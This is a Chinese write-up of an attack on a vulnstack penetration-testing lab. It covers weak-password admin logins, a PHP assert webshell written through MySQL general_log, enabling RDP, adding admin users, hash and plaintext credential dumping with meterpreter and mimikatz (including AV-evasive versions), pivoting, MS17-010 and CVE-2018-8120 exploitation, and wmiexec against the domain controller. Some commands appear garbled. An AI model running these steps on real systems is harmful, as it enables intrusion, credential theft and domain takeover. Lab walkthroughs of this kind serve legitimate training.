前言
vlunstack 是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
拓扑结构大体如下:
话不多说,直接开搞..
外网初探
打开页面后发现是一个 Yxcms 的站点,关于 Yxcms 的漏洞可以参考:https://www.freebuf.com/column/162886.html
然后找到后台,随手一个弱口令:admin、123456 便进入了后台(实战中也有很多的站点是弱口令,只能说千里之堤溃于蚁穴)
关于 Yx 后台拿 shell 的方法还是很简单的,直接在新建模板哪里,将我们的一句话木马添加进去就 ok 了
比如这样
此时我们连接 index.php 即可获得 shell
此时呢,我们先不往下进行,既然是靶机,我们就应该多去尝试一下发掘它其他的漏洞,蚁剑连接以后可以发现这是一个 phpstudy 搭建的网站,那么按照经验我们知道应该会有默认的 phpmyadmin 在,我们尝试访问:
发现猜测的没错,那么默认密码呢,root、root 发现竟然也进去了,那么就来复习一下 phpmyadmin 后台 getshell 吧。phpmyadmin 后台 getshell 一般有以下几种方式:
1、select into outfile 直接写入
2、开启全局日志 getshell
3、使用慢查询日志 getsehll
4、使用错误日志 getshell
5、利用 phpmyadmin4.8.x 本地文件包含漏洞 getshell
我们先来看一下第一种,直接写 shell
发现是不行的,而且该变量为只读,所以只能放弃。
再来看一下第二种,利用全局变量 general_log 去 getshell
我们尝试更改日志状态、位置
set global general_log=on;# 开启日志
set global general_log_file='C:/phpstudy/www/yxcms/v01cano.php';# 设置日志位置为网站目录
发现已经成功更改
此时执行如下语句即可 getshell
select '<?php assert($_POST["a"]); ?>'
剩下的就不再去测试了,大家有兴趣的可以去自行尝试
拿到 shell 之后我们就该提权了
杀入内网
发现是一个 administrator 权限的 shell,然后查看 3389 是否开启
发现 3389 并没有开启,我们使用以下命令开启它:
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后就发现 3389 已经成功的开启了
尝试添加用户:
C:\phpStudy\WWW\yxcms> net user test N0hWI!@! /add
命令成功完成。
C:\phpStudy\WWW\yxcms> net localgroup administrators test /add
命令成功完成。
可以发现已经成功添加一个用户上去
尝试远程桌面连接却失败了,nmap 扫描 3389 端口发现状态为 filtered
猜测应该是防火墙的问题,查看虚拟机发现猜测没错
此时思路一般如下:
1、反弹一个 msf 的 shell 回来,尝试关闭防火墙
2、尝试使用隧道连接 3389
我们先来看一下第二种我们这里使用 ngrok:
在 ngrok 中添加一条 tcp 隧道就 ok 然后了,然后我们就可以去连接目标的 3389 了
我们再来看一下第一种的操作,先反弹一个 msf 的 shell 回来
关闭防火墙:
meterpreter > run post/windows/manage/enable_rdp
此时我们便可以直接连接目标主机了
下面我们就该去杀入域控了,杀入域之前我们先来做一些基础的信息收集,毕竟大佬说过渗透测试的本质是信息收集..
ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localhroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户
net user 用户名 /domain 获取指定用户的账户信息
net user /domain b404 pass 修改域内用户密码,需要管理员权限
net group /domain 查询域里面的工作组
net group 组名 /domain 查询域中的某工作组
net group "domain admins" /domain 查询域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器
ipconfig /all 查询本机IP段,所在域等
经过一番信息收集,我们可以知道域控的地址为:192.168.52.138、域成员主机 03 地址:192.168.52.141
然后抓一下本地管理员的密码:
首先使用 getsystem 进行提权
我们此时已经获取了 system 权限(实战中可能需要其他更复杂的方式进行提权)
然后抓一下 hash
发现失败了
然后我们用 msf 自带的模块进行 hash 抓取
meterpreter > run post/windows/gather/smart_hashdump
发现已经获取了 hash
但是这样获取的 hash 不是很全面,我们再使用 mimitakz 进行抓取
meterpreter > mimikatz_command -f samdump::hashes
在本环境中我们是没有办法直接抓取明文的,当然也有办法绕过就是自己上传一个 mimitakz 使用 debug 进行明文抓取
我们先把 mimitakz(实战中需要免杀处理)上传上去:
然后进行明文密码抓取
先进行权限提升
privilege::debug
然后使用
sekurlsa::logonPasswords
进行明文抓取
此时我们就已经获取到了 administrator 的明文密码
我们再对 03 进行渗透
内网漫游
先添加一条路由进来:
meterpreter > run autoroute -s 192.168.52.0/24
我们使用作者给出的漏洞列表进行尝试
然后使用 08-067(https://www.freebuf.com/vuls/203881.html) 进行渗透,发现失败了..
对另外的漏洞也进行了测试
后来发现都还是失败了… 额,后来查看发现是目标主机这些服务默认没有开启,需要手工开启…
算了直接使用 ms17-010 打一个 shell 回来,这里要注意一下,msf 内置的 17-010 打 2003 有时候多次执行后 msf 就接收不到 session,而且 ms17-010 利用时,脆弱的 server 2003 非常容易蓝屏。
本人也尝试了一下 github 上的 windows 2003 – windows 10 全版本的 msf 17-010 脚本,但效果都是一般.. 这里也给出脚本名称,大家可以自己去找一下..(ms17_010_eternalblue_doublepulsar)
这里的话呢,先给大家说一下思路,首先机器为域内主机,不通外网我们不能直接使用 17-010 来打,可以先使用 msf 的 socks 功能做一个代理出来,这样我们便可以使用 nmap 等对其进行简单的信息判断
像这样(-PN、-sT 必须加):
proxychains nmap -p 3389 -Pn -sT 192.168.52.141
而且使用 msf 的代理之后就不能使用反向 shell 了,我们需要使用正向 shell,然后我们可以先使用 auxiliary/admin/smb/ms17_010_command 来执行一些命令
然后这时候如果你的权限是 system,你可以添加一个用户,然后使用 exploit/windows/smb/ms17_010_psexec 尝试去打一个 shell 回来,因为这个模块需要你去指定一个管理员用户…. 但是我这里依然失败了,于是我便添加了一个用户上去,直接使用远程桌面连接上了 2003 的机器…
然后传了一个 msf 的正向 shell,使用 msf 接收到了 2003 的 shell
因为是 2003 的机器,直接 getsystem 便得到了 system 权限
然后用之前相同的方法便可以得到管理员的明文密码..
这里顺便说一下,除了上面的那种方法可以得到 shell,也可以添加用户和使用 regeorg+proxifier 进入内网连接,然后用 netsh 中转得到 session
至此 2003 的渗透基本就到此为止了,我们下面来怼域控!!!
其实在前面我们已经拿到了域用户的帐号密码,即 administrator、hongrisec@2019我们现在要做的就是如何登录到域控上去
我们这里的话呢使用 wmi 进行操作
上传 wmi 到 192.168.52.143(win7)这个机器上去,然后执行:
C:UsersAdministratorDesktop>cscript.exe wmiexec.vbs /cmd 192.168.52.138 admin
istrator hongrisec@2019 "whoami"
得到回显
然后通过相同的方式下载一个 msf 的木马,反弹一个 shell 回来(正向)
得到 shell
这里很好奇的是,为了增加难度,我在域控上加了一个安全狗上去,但是在我执行 msf 的 shell 的时候并没有提示任何异常操作..
算了,不管他.. 继续,提权域控,导出域 hash
先查看有那些补丁没有打..
run post/windows/gather/enum_patches
尝试了几个 exp 之后都失败了,于是寄出神器 CVE-2018-8120
得到 system 权限,然后下面我们尝试去抓取域控上面的 hash 与明文密码..
我们这里使用直接上传 mimikatz 的方法进行抓取,这时候,终于安全狗报毒了…
我们换上免杀的 mimikatz 进行密码抓取
但这只是我们当前用户的密码,我们需要一个域管理的密码..
我们可以做如下操作:
mimikatz
Privilege '20' OK
mimikatz
Injected =)
mimikatz
此时我们只需要耐心等待域管理员登录就好了,我们模拟登录后再进行查看.
已经获得了域管理员的明文密码
写在后面
整个过程下来收获还是蛮大的,也意识到了自己的不足,当然我的这种方法可能不是最好的方法,而且作者也说了在域控上有 redis 漏洞等,文中都没有涉及,而且实战中肯定也会比这个复杂的多,本文也仅仅是给大家提供一个思路而已,如果文中有出错的地方还望指出,以免误人子弟。
https://www.anquanke.com/post/id/189940